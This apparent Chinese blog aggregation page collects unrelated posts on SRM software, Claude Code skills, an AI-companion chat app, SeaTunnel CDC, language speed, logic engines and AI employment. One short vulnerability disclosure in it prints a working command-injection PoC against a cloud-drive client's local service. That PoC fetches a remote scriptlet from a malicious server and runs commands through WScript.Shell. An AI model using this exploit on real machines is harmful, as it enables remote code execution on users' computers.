包含关键字 typecho 的文章

供应商来对账,数据对不上,耽误好几天;采购价格不透明,成本居高不下;供应商绩效全凭印象,合作质量参差不齐...如果你也正被这些问题困扰,是时候了解一下供应商管理系统了。

今天我们就来一次深度测评,聊聊市面上主流的几款供应商管理解决方案,帮你找到最适合自家业务的那一款。

一、选型要点:好的系统,到底该看什么?

在直接推荐产品前,先明确几个核心选型标准,这是避开坑的关键。

第一,要看它能不能解决你真实的痛点。很多企业痛点很具体:比如采购流程不规范、线上线下数据对不上、供应商质量不稳定、对账周期漫长等。系统功能是否直击这些要害,是首要考量。

第二,灵活性和扩展性至关重要。特别是成长型企业,业务变化快,今天用的功能明天可能就要调整。如果系统僵硬,改个流程都要找原厂花大价钱二开,那用起来会很痛苦。所以,是否支持一定程度的自定义或低代码调整,是个加分项。

第三,性价比和长期投入成本。这不单指软件本身的购买费用,还包括实施费用、每年的维护费、未来需求变化的二次开发成本,甚至数据迁移的成本。一个“买得起但用不起”的系统,不如一开始就放弃。

第四,厂商的服务与可持续性。软件即服务,后续的响应速度、问题解决能力、版本迭代计划,都直接影响你的使用体验。选择有成熟服务团队、产品持续迭代的厂商,更稳妥。

基于以上几点,结合市场主流选择,我筛选出 8款值得深入考察的供应商管理系统,并对其核心特点、适用场景进行分析。

二、测评盘点:8款主流供应商管理系统

1. 支道

https://www.zdsztech.com

核心特点:基于无代码平台构建,高度可定制

如果要用一个词形容支道的供应商管理方案,那就是 “灵活”。它并非一个功能固化的标准产品,而是基于其强大的无代码开发平台,能够快速搭建出贴合企业实际采购业务流程的系统。

从测评角度看,它的优势很明显:可视化搭建,改起来方便

企业的采购审批流程、供应商准入标准、询比价模板,都可以通过拖拉拽的方式配置和修改,业务人员经过培训也能参与调整。这解决了很多企业“需求说不清、软件改不动”的痛点。

具体到SRM功能上,它覆盖了供应商全生命周期管理:供应商电子档案、在线准入申请、询价/招标/比价流程、采购订单协同、送货与验收协同、对账付款、以及供应商绩效评估。

亮点在于流程的在线化和自动化,比如报价自动汇总比价、订单状态自动同步给供应商、绩效数据自动采集计算等。

适合谁用:业务独特、流程经常优化、或者未来可能将SRM与内部CRM、项目管理系统打通的成长型企业。它的无代码特性让长期迭代成本更低。

需要注意:高度灵活也意味着初期需要更多的业务梳理和配置投入,更适合愿意在管理梳理上花时间、追求长期适配性的企业。

2. 用友

核心特点:与ERP、财务系统天然集成,业财一体化能力强

用友作为国内企业管理软件的老牌厂商,其YonSuite中的SRM模块最大优势在于 “集成”。如果你的企业已经在使用或用友的ERP、财务系统,那么选择它的SRM模块,在数据打通上会非常顺畅。

采购订单直接生成应付、入库信息实时同步、成本数据自动归集,真正实现业务流、信息流、资金流合一。

功能层面,它提供标准的供应商管理、寻源管理、采购协同、库存协同等功能。在供应商绩效方面,支持多维度指标(如质量、交期、价格、服务)的量化评估。

适合谁用:尤其是那些已经使用用友体系产品的中大型企业,或者对财务业务一体化要求极高、希望杜绝数据孤岛的企业。

需要注意:作为标准化程度较高的产品,在面对一些非常规的、行业特有的采购流程时,可能需要通过二次开发来实现,成本和周期需提前评估。

3. 金蝶

核心特点:强调供应链协同,尤其在生产制造领域有深度方案

金蝶的云星空SRM,在制造业企业中口碑不错。它的设计思路强调 “供应链协同” ,不止管理供应商,更注重与供应商之间的高效协作。比如,支持供应商门户,让供应商自助查看订单、确认交期、填报送货单;支持与生产计划的联动,实现采购需求的精准触发。

其功能亮点在于对 VMI库存管理、JIT准时化采购、寄售业务 等复杂场景的支持,这些都是制造企业的核心痛点。在供应商风险方面,也提供了诸如资质预警、交期预警等管理功能。

适合谁用:生产制造型企业,特别是对原材料采购协同、精益生产有要求的企业。也适合金蝶ERP的老用户,保障系统连贯性。

需要注意:方案相对偏向中大型制造企业,对于贸易类、项目服务类企业的贴合度可能需要详细验证。

4. SAP

核心特点:全球化、战略寻源、网络化协同

SAP Ariba 是全球领先的采购云平台,它的定位更高,更像一个 “采购网络”。其核心优势在于 全球寻源和战略采购。如果你的企业采购范围遍布全球,需要管理跨国供应商、进行复杂的招标和合同管理,Ariba 提供了强大的支持。它拥有庞大的供应商网络,方便发现新供应商。

功能极其全面,从支出分析、寻源招标、合同管理、到供应商协同、发票与付款,覆盖整个直接和间接采购流程。其数据分析能力强大,能帮助企业深度洞察采购支出,优化采购策略。

适合谁用:大型集团企业、跨国公司,或者采购品类复杂、将采购视为战略职能的企业。预算充足是前提。

需要注意:实施和运维成本非常高,系统复杂,对内部管理规范性和团队能力要求极高。对于中小型企业来说,可能“杀鸡用牛刀”。

5. 甄云

核心特点:产品化程度高,开箱即用,聚焦采购全流程数字化

甄云是国内较早专注于采购数字化SRM的厂商之一。其产品特点是 “全流程、产品化” ,功能模块成熟,设计理念清晰。它围绕企业采购业务,提供从供应商管理、寻源管理、采购协同、到财务协同的完整闭环。用户体验和界面设计比较现代化,易于上手。

在供应商风险管控方面,它整合了外部大数据,可以提供供应商的工商、司法、舆情等多维度风险监控和预警,这是个很实用的亮点。

适合谁用:希望快速部署一套成熟、完整SRM系统的中大型企业,特别是对供应商风险有主动管理需求的企业。它降低了从零自研的风险和成本。

需要注意:作为标准化SaaS产品,在应对极端个性化的业务流程时,灵活性可能不如低代码/无代码平台。

6. 携客云

核心特点:SaaS模式,轻量化,以“协同”为核心,实施快

携客云主打 “轻量化、易实施” 的SaaS SRM。它的核心价值在于快速解决制造企业与供应商之间的 “协同效率” 问题,比如订单确认、交货、对账等高频场景。

它的供应商门户做得很轻便,供应商上手门槛低。通过它,企业可以快速实现采购订单发布、送货预约、质量反馈、对账确认等业务的在线化,显著减少打电话、发邮件的低效沟通。

适合谁用:广大中小制造企业,作为ERP的延伸,首要解决与供应商的日常业务协同问题。需求明确、预算有限、希望快速上线看到效果的企业可以重点关注。

需要注意:在战略寻源、深度供应商绩效分析、复杂业务流程管控等更深层的管理需求上,功能可能不如前面几款全面。

7. 企企通

核心特点:平台化思路,强调连接与生态

企企通的SRM平台同样强调协同,但其特色在于 “平台化” 和 “连接能力” 。它致力于成为连接采购方和供应商的协作平台。除了常规的SRM功能外,它在 非生产性物料采购、电商化采购 方面有特色方案,支持企业搭建内部采购商城。它也具备较强的集成能力,可以与企业内部ERP、OA等系统对接,实现流程和数据贯通。

适合谁用:注重与供应商建立在线化协作生态,特别是间接物料采购(MRO)需求旺盛的大中型企业。也适合希望整合分散采购渠道的企业。

需要注意:平台的综合性强,企业需要明确自身核心需求是“管理”还是“连接协同”,以便判断是否匹配。

8. 浪潮云

核心特点:贴合大型集团管控需求,尤其在高安全要求行业有积累

浪潮的云ERP中包含SRM解决方案,其优势在于服务 大型集团企业、国有企业 的经验。在供应商集中管控、分级管理、采购合规性、审计追溯等方面有较深的设计。对于有严格内控和合规性要求的行业,如国资、军工等,是重点考察对象。

功能上,支持集中采购、分散采购等多种模式,与浪潮的财务、预算系统也能深度集成。

适合谁用:大型集团、国有企业、对采购合规性和集中管控有刚性要求的组织。

需要注意:产品和实施风格相对“稳重”,在用户体验和敏捷性上可能不是其首要追求。

三、总结与建议:如何选择?

看了一圈,你可能更纠结了。别急,最后给你一些落地的建议:

如果业务灵活多变支道这类无代码平台的长远适配性更好。预算不仅要看首次投入,更要评估3-5年的总拥有成本。并且一定要看演示、做试点,功能列表都是美好的,真实体验才能暴露问题。要求厂商用你的真实数据(脱敏后)或模拟场景进行演示。条件允许的话,选择一个非核心采购品类或一个分子公司进行试点,这是最有效的试金石。

供应商管理系统的选型,没有“最好”,只有“最适合”。它不仅是采购工具,更是企业供应链竞争力的数字化体现。

花时间厘清自身需求,结合以上测评信息,相信你能找到最适合自己提升管理效率、降低运营成本的优秀系统。

在上一篇《Claude Code × 智谱 BigModel 实战集成指南》中,我们已经完成了一次完整的项目实战。项目可以正常运行,但在后续代码 Review 时,一个问题逐渐暴露出来:

生成的代码虽然能跑,但大量 API 和用法已经过时,与最新官方文档存在明显偏差。

这在 AI 辅助开发中其实非常常见——模型的训练数据更新速度,往往赶不上框架和 SDK 的迭代速度。

正巧这时,一位朋友向我推荐了 Anthropic 最新发布的 Agent Skills,通过 plugins 的方式,让 Claude 在生成代码时 动态读取最新官方文档和工具能力,从而显著降低“写得像,但跑不通”的概率。

本文就是这次探索的完整记录。


一、Agent Skills 是什么?

官方仓库地址:

https://github.com/anthropics/skills

Agent Skills 可以理解为:

一套可插拔的“能力模块”,用于教会 Claude 如何用正确的方法、最新的工具、可重复的流程 来完成特定任务。

在技术层面上:

  • 每个 Skill 本质上是一个文件夹
  • 内部包含:

    • 指令(instructions)
    • 脚本(scripts)
    • 资源文件(resources)
  • Claude Code 会在运行时动态加载这些 Skills

它能解决什么问题?

Agent Skills 的核心价值在于 “降低幻觉 + 提高一致性”,典型应用场景包括:

  • 按公司/团队的编码规范生成代码
  • 按最新官方文档调用 API(而不是靠模型记忆)
  • 执行固定的工程化流程(初始化项目、生成目录结构、部署脚本等)
  • 自动化个人或组织级任务

简单来说:

Skills 不是让模型更聪明,而是让模型更“守规矩”。

二、在 Claude Code 中安装 Agent Skills

在 Claude Code 命令行中执行:

/plugin marketplace add anthropics/skills

安装完成后,你就已经具备了使用官方 Skills 的能力。

这一步相当于为 Claude Code 打开了“官方增强模式”。

PixPin_2026-01-22_10-07-25.png


三、安装 context7 插件(关键步骤)

接下来是本文的重点:context7

1️⃣ 打开插件管理

在 Claude Code 中输入:

/plugins

然后使用键盘 ➡️ 进入 Discover

2️⃣ 搜索并安装 context7

在搜索框中输入 context7,完成安装。

context7 本质上是一个 MCP(Model Context Protocol)插件,
能让 Claude 直接参考并对齐最新的官方文档内容

PixPin_2026-01-22_10-09-22.png


四、使用 context7 生成项目代码

安装完成后,就可以在 Prompt 中显式声明使用 context7

示例 Prompt

---
name: context7
description: 使用 Context7,基于框架最新的官方文档
---

# context7

## 指南
已使用以下技术栈生成企业级项目:
- 使用 Context7,基于最新的官方文档
- FastAPI 0.128.0,带 Token 认证
  - 使用 sqlite 生成 token
  - 不使用 JWT,仅做 Token 校验
- langchain 1.2.6,使用 create_agent
- langchain-ollama 1.0.1
  - model:qwen3-vl:32b
  - embedding:qwen3-embedding:8b
- langgraph 1.0.6
- Milvus(pymilvus)2.6.6
- langfuse 3.12.0

通过这种方式,你是在明确告诉 Claude

不要靠“印象”写代码,而是以当前官方文档为准

PixPin_2026-01-22_10-29-45.png


五、实际体验与问题分析

真实结论只有一句话:

效果明显提升,但依然不能“一次生成直接可用”。

优点

  • API 使用明显更接近最新文档
  • 过时参数、废弃方法显著减少
  • 工程结构更合理,思路更偏向“真实项目”

仍然存在的问题

  • 复杂技术栈组合(LangChain + LangGraph + Milvus + Langfuse)
  • 仍然需要 多轮调试才能完全跑通
  • 某些边界用法依然存在偏差

我的判断

并不是 context7 不行,而是模型生成速度,依然落后于框架演进速度。

context7 做到的是:

  • 让 Claude 看得到 最新文档
  • 但最终“怎么拼起来”,仍然依赖模型本身的推理与代码能力

六、总结

如果你正在使用 Claude Code 做偏工程化、偏企业级的项目开发,我的建议是:

一定要上 Agent Skills

能用 context7 就用 context7

❌ 不要再完全相信“模型记忆里的 API”

但同时也要有一个清醒认知:

AI 辅助开发 = 更快的起点,而不是免调试的终点。

在当前阶段,最理想的模式依然是:

AI 生成 + 人类 Review + 多轮修正

后续我也会继续记录 Claude Code + MCP + 多模型协作 的实践经验,欢迎关注。

大家好,我是 WeAgentChat (唯信) 的开发者。

打开微信,那里是工作群的消息轰炸、亲戚的催婚和半生不熟的社交点赞。
有时候我在想,如果有一个平行的微信,里面所有的“好友”都是 AI ,但他们不仅能陪我聊天,还能像真人一样拥有性格、记得我们的点点滴滴,永远秒回、永远在线、永远站在我这边,那会是什么体验?

于是,我撸出了这个 AI 版微信WeAgentChat (唯信)

👉 Talk is cheap, show me the code: GitHub | 官网 & 预览

🌟 核心定义:你的另外一个微信

WeChat 是给人类朋友的,WeAgentChat 是给 AI 朋友的。

在这个应用里,我不仅刻意复刻了微信经典的 UI 风格和交互习惯(强迫症级别的还原),更试图打破目前 AI 助手“一问一答、用完即走”的工具属性,打造一个有温度的虚拟社交圈

1. 高度人格化的 Agent 矩阵

你可以为每个 AI 好友设定独特的灵魂。他们不是通用的助手,而是拥有特定性格、背景故事甚至怪癖的“数字人类”。

  • 有的可能是你的“毒舌损友”,在你犹豫不决时推你一把;
  • 有的可能是“温和的长辈”,在你压力大时提供情绪价值。

2. 拒绝捏人焦虑:好友库 & 话题寻人

不知道跟谁聊?懒得自己写 Prompt ?

  • 丰富的预设好友库:内置了数十位性格迥异的角色,从二次元老婆到硅谷大佬,一键添加,即刻开聊。
  • 通过话题找名人:这是我最喜欢的功能。想聊“科幻小说”?系统自动为你推荐“刘慈欣”;想聊“烧脑电影”?“诺兰”直接出现在列表里。只需输入感兴趣的话题,系统会通过语义匹配找到最契合的 AI 聊伴。不再尬聊,直奔主题。

3. “双轨”长期记忆:它真的懂你

大多数 AI 聊久了就会“失忆”,这种割裂感非常毁体验。我设计了一套双轨记忆系统:

  • Global Profile:AI 会自动根据聊天内容,实时更新它对你的性格、喜好、现状的认知。
  • Event-Level RAG:每一段深刻的对话都会被蒸馏成“事件卡片”。即使你半年前随口提过一句失眠,今天它可能又会恰到好处地关心你的睡眠质量。

4. 被动会话管理:告别“新建聊天”

我极其讨厌 ChatGPT 那种“手动点 New Chat”的割裂感。
在唯信里,如果你停止聊天超过 30 分钟,系统会自动归档当前会话并提取记忆。下次你再开口时,就像真朋友一样,是一个自然、连贯的新开始。

5. 绝对自由的对话空间 (NSFW Friendly)

我知道很多朋友苦于大厂模型的道德审查。
得益于本地化架构,你可以自由接入无审查模型(如各类 Uncensored 本地模型或 API )。在这里,没有云端审判,你可以聊任何想聊的话题,释放最真实的压力。

🛠️ 硬核技术实现 (V 站惯例)

作为一个本地优先的应用,我选择了最稳健的工具链:

  • Frontend: Vue 3.5 + Vite + Tailwind CSS (UI 高度还原微信风格)。
  • Backend: FastAPI (Python) 异步驱动。
  • Database: SQLite + sqlite-vec (所有的向量存储和关系数据都在本地,隐私第一)。
  • Memory Engine: 嵌入式 Memobase SDK ,处理复杂的事件提取和 RAG 检索。
  • Desktop: Electron 包装,支持一键启动后端服务。

🔒 隐私与安全

这可能是我做这个产品最坚持的一点:所有聊天记录和记忆数据都保存在你本地的 sqilte 数据库中。
你可以连接 OpenAI (兼容) 的 API 。除了 LLM 和向量化的调用,没有任何数据会上传到云端。

💡 开发小花絮:Vibe Coding 时代的产物

说起来,这个项目的诞生还要感谢现在的 AI 编程浪潮。
每天在公司上班,我已经习惯了 Vibe Coding 的节奏:把繁杂的逻辑丢给 AI ,看着它在屏幕上飞速吐代码。
在等待 AI 生成代码的那几十秒、几分钟的“贤者时间”里,我不仅没闲着,反而以此为契机,并行开启了这个 Side Project 。
用 AI 帮我省下的时间,去创造另一个全是 AI 的世界,这大概就是程序员独有的浪漫(摸鱼)吧。

💬 邀请与反馈

目前项目还在活跃开发中,核心的对话流和记忆系统已经跑通。

我想听听大家的看法:

  • 如果拥有这样一个“另外的微信”,你最希望在这里和什么样的 AI 交朋友?
  • 在“人与 AI 深度社交”这个命题下,你最看重的功能是什么?

目前的 UI 预览

主界面

欢迎拍砖,也欢迎给个 Star 鼓励一下社恐开发者的奇思妙想。

在 MySQL CDC 任务中,很多用户都会遇到这样的问题:任务失败后该从哪里恢复?只知道一个时间点,却拿不到对应的 binlog 位点怎么办?Apache SeaTunnel 2.3.12 通过引入按时间启动(Timestamp Startup)功能,给出了更直观的答案。

本文围绕该能力的设计背景、配置方式与实现机制展开解析,帮助读者理解如何基于时间语义更高效地进行 CDC 任务恢复与数据回溯。

功能概述

Problem:CDC 启动点配置“技术正确,但使用困难”

在 Apache SeaTunnel 2.3.12 之前,MySQL CDC 连接器主要支持从指定 binlog 位点(file + position)或 GTID 启动数据同步任务。这种方式在实现上是精确且可靠的,但在真实生产与运维场景中,往往并不符合用户的使用习惯。

在实际 CDC 运维过程中,用户更容易掌握的是 “时间”,而非底层 binlog 细节,例如:

  • 任务异常中断后,希望从
    “2024-04-01 10:00:00” 之后继续同步
  • 对某一时间窗口的数据进行回溯或补采
  • 只知道“昨天 08:00 之后的变更需要重新同步”,但无法定位对应的 binlog 文件和偏移量

如果仍要求用户手动将时间反推为 binlog 位点,不仅配置复杂,而且极易出错,也显著增加了运维成本。这种“技术友好、但用户不友好”的启动方式,已经成为 CDC 任务恢复和回溯场景中的常见痛点。

Solution:引入按时间启动

为解决上述问题,Apache SeaTunnel 在 2.3.12 版本中为 MySQL CDC 连接器引入了按时间启动功能

该功能允许用户直接指定一个 Unix 时间戳(毫秒级) 作为同步起始点。MySQL CDC 连接器会在启动阶段自动完成以下工作:

  1. 根据指定时间戳定位对应的 binlog 文件与偏移量
  2. 从该 binlog 位置开始读取变更事件
  3. 自动跳过所有早于该时间点的历史事件

通过引入“时间”这一更符合业务语义的维度,SeaTunnel 将 CDC 启动方式从面向底层 binlog 细节,提升为面向业务时间语义,显著降低了 CDC 任务在恢复、回溯和运维场景下的使用门槛。

配置参数

要启用按时间启动功能,需要配置以下两个关键参数:

参数名类型必填说明
startup.modeEnum设置为 "timestamp" 启用时间模式 2
startup.timestampLongUnix 时间戳(毫秒),指定启动时间点 3

配置示例

env {
  parallelism = 1
  job.mode = "STREAMING"
  checkpoint.interval = 10000
}

source {
  MySQL-CDC {
    url = "jdbc:mysql://localhost:3306/testdb"
    username = "root"
    password = "root@123"
    table-names = ["testdb.table1"]
    
    # 启用按时间启动
    startup.mode = "timestamp"
    startup.timestamp = 1672531200000  # 2023-01-01 00:00:00 UTC
  }
}

sink {
  Console {
  }
}

技术实现

启动模式枚举

MySqlSourceOptions 类中定义了所有支持的启动模式,包括新增的 TIMESTAMP 模式:

public static final SingleChoiceOption<StartupMode> STARTUP_MODE =
    (SingleChoiceOption)
        Options.key(SourceOptions.STARTUP_MODE_KEY)
            .singleChoice(
                StartupMode.class,
                Arrays.asList(
                    StartupMode.INITIAL,
                    StartupMode.EARLIEST,
                    StartupMode.LATEST,
                    StartupMode.SPECIFIC,
                    StartupMode.TIMESTAMP))

时间戳过滤实现

核心实现在 MySqlBinlogFetchTask 类中,当检测到启动模式为 TIMESTAMP 时,会使用 TimestampFilterMySqlStreamingChangeEventSource 来处理 binlog 事件:

StartupMode startupMode = startupConfig.getStartupMode();
if (startupMode.equals(StartupMode.TIMESTAMP)) {
    log.info(
        "Starting MySQL binlog reader,with timestamp filter {}",
        startupConfig.getTimestamp());

    mySqlStreamingChangeEventSource =
        new TimestampFilterMySqlStreamingChangeEventSource(
            sourceFetchContext.getDbzConnectorConfig(),
            sourceFetchContext.getConnection(),
            sourceFetchContext.getDispatcher(),
            sourceFetchContext.getErrorHandler(),
            Clock.SYSTEM,
            sourceFetchContext.getTaskContext(),
            sourceFetchContext.getStreamingChangeEventSourceMetrics(),
            startupConfig.getTimestamp());
}

偏移量计算

MySqlSourceFetchTaskContext 中实现了根据时间戳查找对应 binlog 偏移量的逻辑:

private Offset getInitOffset(SourceSplitBase mySqlSplit) {
    StartupMode startupMode = getSourceConfig().getStartupConfig().getStartupMode();
    if (startupMode.equals(StartupMode.TIMESTAMP)) {
        long timestamp = getSourceConfig().getStartupConfig().getTimestamp();
        try (JdbcConnection jdbcConnection =
                getDataSourceDialect().openJdbcConnection(getSourceConfig())) {
            return findBinlogOffsetBytimestamp(jdbcConnection, binaryLogClient, timestamp);
        } catch (Exception e) {
            throw new SeaTunnelException(e);
        }
    } else {
        return mySqlSplit.asIncrementalSplit().getStartupOffset();
    }
}

启动模式对比与适用场景

为了更好地理解按时间启动功能在整体 CDC 启动体系中的定位,下面对 MySQL CDC 当前支持的几种启动模式进行对比说明:

启动模式启动依据优点适用场景
INITIAL全量 + 当前 binlog一次性完成历史与增量同步首次接入数据源
EARLIEST最早可用 binlog不依赖具体位点binlog 保存周期较长的场景
LATEST当前最新 binlog启动快仅关注未来增量数据
SPECIFIC指定 binlog file + position精确可控已明确掌握 binlog 位点的场景
TIMESTAMP指定时间戳(毫秒)配置直观、符合业务语义任务恢复、数据回溯、按时间窗口同步

可以看到,TIMESTAMP 模式并不是替代 SPECIFIC 或 GTID 的“更底层”方案,而是为了解决“用户只知道时间、不知道 binlog”的典型问题,是一种以可用性和运维友好性为核心的补充能力

测试验证

该功能在集成测试中得到了充分验证,测试用例 MysqlCDCSpecificStartingOffsetIT 验证了按时间戳启动的正确性 7

使用注意事项

  1. 版本要求:需要 SeaTunnel 2.3.12 或更高版本
  2. 时间戳格式:必须使用 Unix 时间戳,单位为毫秒
  3. binlog 可用性:确保指定时间点对应的 binlog 文件仍然可用
  4. 时区考虑:时间戳基于 UTC 时区,需要注意时区转换

总结

SeaTunnel MySQL CDC 的按时间启动功能为数据同步提供了更精确的控制能力,特别适用于需要从特定时间点恢复数据同步的场景。该功能通过时间戳到 binlog 偏移量的转换,实现了高效的时间点定位和数据过滤。

Notes

  • 该功能在工厂类 MySqlIncrementalSourceFactory 中通过条件配置规则进行参数验证
  • 除了 MySQL CDC,其他 CDC 连接器如 SQL Server CDC 也支持类似的时间戳启动功能

大家好,我是凌览。

如果本文能给你提供启发或帮助,欢迎动动小手指,一键三连(点赞评论转发),给我一些支持和鼓励谢谢。

前言

又刷到了Python 与 Nodejs 哪个更快的这类话题。巧的是在GitHub还开源了类似的计算机语言性能比较的开源库——speed-comparison。

单纯从性能上比较,speed-comparison已经给出了结论:Python(PyPy)>Javascript(nodejs)>Python(CPython)

PyPy3和 Python3(CPython)的差异在于解释器实现方式。Python3 是官方默认的 C 语言实现,而 PyPy3 是用 RPython 编写的替代实现,并引入了 JIT(即时编译) 技术。

speed-comparison测评数据属于较客观的,speed-comparison测评数据是进行莱布尼茨公式实现π的计算快慢。

另外考虑公平性,做了以下处理:

  1. 实现必须是单线程的。无多线程、异步或并行处理
  2. 允许使用更宽寄存器的SIMD优化,但必须独立,而非取代标准实现。swift-simdcpp-avx2
  3. 使用语言的惯用代码。编译器优化标志没问题
  4. 所有实现必须使用现有实现中所示的莱布尼茨公式

speed-comparison给出测评的语言不只有Python、Nodejs,常用语言也包括了,如:Java、C、C++等。

好奇的读者,可以浏览这个网页:https://niklas-heer.github.io/speed-comparison/

再来一起看看网友们高赞评论。

高赞评论

【网友1】

如果不是谷歌那个大聪明通过 v8 让人们意识到「原来 js 能跑这么快」,压根就不会有现在 JavaScript 的生态。

【网友2】

Python 其实是斩杀线,比Python还慢的就直接斩杀了。

Node.js 的 V8 JavaScript/WASM 引擎是 JIT 的,它的 非常精妙,连 JVM 和 CLR 这两个老牌的都是要服气的。

【网友3】

nodejs目前的解释器使用是v8 engine,它是一个 JIT。所以可以大幅增加运行时的性能。

python目前的主流解释器是 CPython,它还是一个常规的解释器也就是只能一行行解释,不能在运行时优化部分代码为机器码。

所以目前的情况是 nodejs 大幅快于 python

【网友4】

Python这种常年倒数的就不要来找JS碰瓷了。

我们常吐槽JS慢,是拿它跟C、C++、Rust这些编译型语言比的,但JS的性能可谓是脚本语言的天花板,打python就像暴打小朋友一样。

总结

网友们的评论较主观没有数据说明,大家看看热闹就好。

如果一定要从性能方面比较,不考虑应用场景、社区、难易等等方面。

可以参考speed-comparison,自己也能拉取speed-comparison代码在本机电脑上跑一遍数据。

在快速发展的数字化时代,企业面临业务逻辑复杂多变的场景,传统的代码方式显得太臃肿,维护成本高,灵活性差,逻辑编排引擎能低成本更灵活的解决复杂业务逻辑管理。
逻辑配置是零代码开发的业务核心功能,本质上是实现服务的编排,把原子的服务通过可视化编排,形成最终的业务逻辑。
今天拆解几款开源的逻辑引擎系统,喜欢可以点赞收藏备用。

1、LiteFlow

这是一款非常成熟的国产开源引擎,它的核心思想是将业务逻辑拆分成独立的组件,然后通过规则文件来组装这些组件。它支持丰富的流程模式(串行、并行、选择、循环等),并且热更新功能很实用,能在高并发下无缝切换规则。

核心特性:

• 组件化编排:将复杂业务逻辑拆解为独立组件(Node),通过规则文件(XML/JSON/YAML)定义组件执行顺序和依赖关系,支持热更新。
• 高性能:纳秒级组件开销,支持百万级并发流程。
• 多语言支持:组件支持Java、Groovy、JavaScript、Python等脚本语言,脚本与Java全打通。
• 灵活编排:支持串行、并行、条件分支、循环、子流程嵌套等复杂结构。
• 动态配置:规则可存储在Nacos、Apollo、Zookeeper等配置中心,实现集中管理。
• 监控与诊断:提供执行链路追踪、耗时统计、组件日志等功能。

适用场景:

• 电商促销规则组合、金融风控规则链、审批流引擎、数据处理管道(ETL)、微服务编排。
图片

2、JVS-Logic

这是一款可视化逻辑引擎与服务编排系统,系统提供私有化部署,零代码、界面化、配置式服务编排平台,通过拖拽连接企业系统/API/数据库/数据等各种基础设施,自助式编排业务自动化执行流程,降低对代码、部署等技术依赖度,敏捷响应业务变化。

核心特性:

• 可视化服务编排:通过拖拽原子化服务组件并连线的方式,像画流程图一样设计和调整业务流程,无需编写代码。
• 灵活的执行流控制:支持串行、并行、分支判断、循环等多种流程控制模式,能够应对复杂的业务逻辑。
• 动态数据加工:提供类Excel公式的函数库(如逻辑函数、数学函数、文本函数等),可对流程中的数据动态计算和转换。
• 多场景触发:逻辑流程可通过API调用、定时任务、界面按钮点击、表单提交、消息队列等多种方式触发。
• 在线调试与监控:配置后可立即在线测试,实时查看每个节点的执行结果和流程状态,快速定位问题。
• 强大的扩展能力:支持通过代码或简单配置(如HTTP接口)扩展自定义的原子服务组件,持续集成新能力

适用场景:

• 审批流自动化、定时任务调度、跨系统数据同步、业务规则动态调整。
在线demo:https://logic.bctools.cn/
gitee地址:https://gitee.com/software-minister/jvs-logic
图片

图片

图片

3、minions-go

minions-go 是一个基于 Go 语言开发的逻辑编排引擎。它设计用于实现复杂的业务流程控制与自动化任务管理,提供灵活的工作流定义能力,使得开发者能够轻松构建可扩展和高可维护性的逻辑处理系统。项目灵感来源于对自动化工作流程的需求,致力于简化服务之间的交互和逻辑控制。

核心特性:

• 数据流驱动:它采用了一种称为“数据流驱动”的范式。你可以把整个业务流程看作数据在不同处理节点间流动和转换的过程,而不是传统的线性流程图。这种方式更贴近于将业务逻辑拆分为可复用的组件。
• 可视化与代码分离:业务逻辑通过前端编辑器进行可视化设计,生成一份标准的 JSON 格式的“编排描述数据”(即 DSL)。后端的 Go 语言解析引擎(即 minions-go)则负责解释和执行这份 DSL,实现了UI界面和业务逻辑执行的解耦。
• 支持逻辑复用:它支持“子编排”概念,即可以将一个已经创建好的复杂逻辑流程封装成一个单独的节点,供其他流程复用,这极大地提高了逻辑的模块化和复用性

适用场景:

• 微服务间任务分发、定时作业逻辑、响应式业务事件处理。

某云盘为了提供本地客户端拉起功能,在本地启动了一个服务,监听了一个 HTTP 协议的端口,该服务某参数可控导致命令执行。

我们知道微软提供了协议注册功能(myapp://),用于拉起客户端,有些厂商为了实现更多的自定义功能和传入参数,自己使用进程驻留的方式提供拉起服务。

影响版本:<7.60.5.102

POC:

复制
https://127.0.0.1:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\windows\\system32\\scrobj.dll\%22%20/u%20/i:http://[恶意文件服务器地址]/poc.xml%20\%22\\..\\..\\..\\..\\..\\..\\..\\Users\[用户名]\AppData\Roaming\baidu\BaiduNetdisk\\%22

poc.xml:

复制
<?XML version="1.0"?>
<scriptlet>
    <registration progid="poc" classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript"><![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
]]>
</script>
        </registration>
        </scriptlet>

根据上面的 POC 和 poc.xml 可以看到,该程序的本地服务 uk 参数可控,且未过滤,通过 uk 传入参数调用 scrobj.dll 进行服务注册,/i 参数支持远程 xml。又因为 xml 支持 CDATA、js、ActiveX,那么可以直接调用系统命令,最终实现任意命令执行。

该漏洞仅需要知晓对方计算机用户名,一般都是 administrator、admin、pc

复现情况:
image

摘要
人工智能会不会导致大规模失业?这是每一轮技术浪潮都会出现的问题。本文通过真实案例,系统分析AI正在取代哪些工作、正在创造哪些新职业,以及普通人如何避免被AI淘汰,给出完整判断与行动路径。


一、AI正在取代工作吗?这是已经发生的现实

AI正在取代工作,这不是未来预测,而是正在发生的事实。

在客服、制造业、物流和金融等行业,人工智能系统正在系统性替代大量重复性岗位。最典型的例子,是呼叫中心。

张先生曾是某大型呼叫中心的客服专员,每天接听上百通电话。公司上线AI客服系统后,客服团队从50人缩减到5人,AI可以24小时在线,每分钟处理数十个咨询,成本下降超过80%。

张先生并不是失败者,他只是被结构性替代了。


二、哪些工作最容易被AI取代?三个明确规律

AI不会随机抢走工作,它遵循清晰的技术规律。

AI最容易替代的岗位具有三个特征:

  1. 可标准化:流程可写成规则
  2. 可流程化:步骤固定、可重复
  3. 可规模化:同一任务可无限复制

符合这三点的岗位,包括:

  • 客服、数据录入、行政文员
  • 初级财务分析、报表生成
  • 仓储分拣、流水线工人

这些岗位的共同点是:任务比人重要


三、一个被忽视的事实:AI关闭的是“旧岗位入口”

AI并不是一次性抢走所有人的工作,而是逐步关闭旧岗位的入口

这意味着:

  • 新人更难进入旧行业
  • 转型成本向个人转移
  • 学习能力成为关键变量


四、AI是否也在创造新工作?答案是肯定的

AI不会只带来失业,它同时创造新职业。

在自动驾驶、金融科技、医疗、教育等行业,大量新岗位正在出现:

  • 数据标注与治理工程师
  • 自动驾驶系统维护员
  • AI模型监督员
  • 算法审计员
  • AI伦理官
  • 智能体训练师
  • 人机协作设计师

这些岗位在五年前几乎不存在。


五、真实案例:AI正在“换结构”,不是“减规模”

某金融科技公司中,30%的岗位三年前并不存在。这些岗位集中在数据治理、模型优化和合规领域,平均薪资比传统岗位高出40%。

这说明,AI带来的不是就业消失,而是就业升级迁移


六、为什么AI创造的工作门槛更高?

因为新岗位要求三种能力同时存在:

  • 懂行业
  • 懂AI
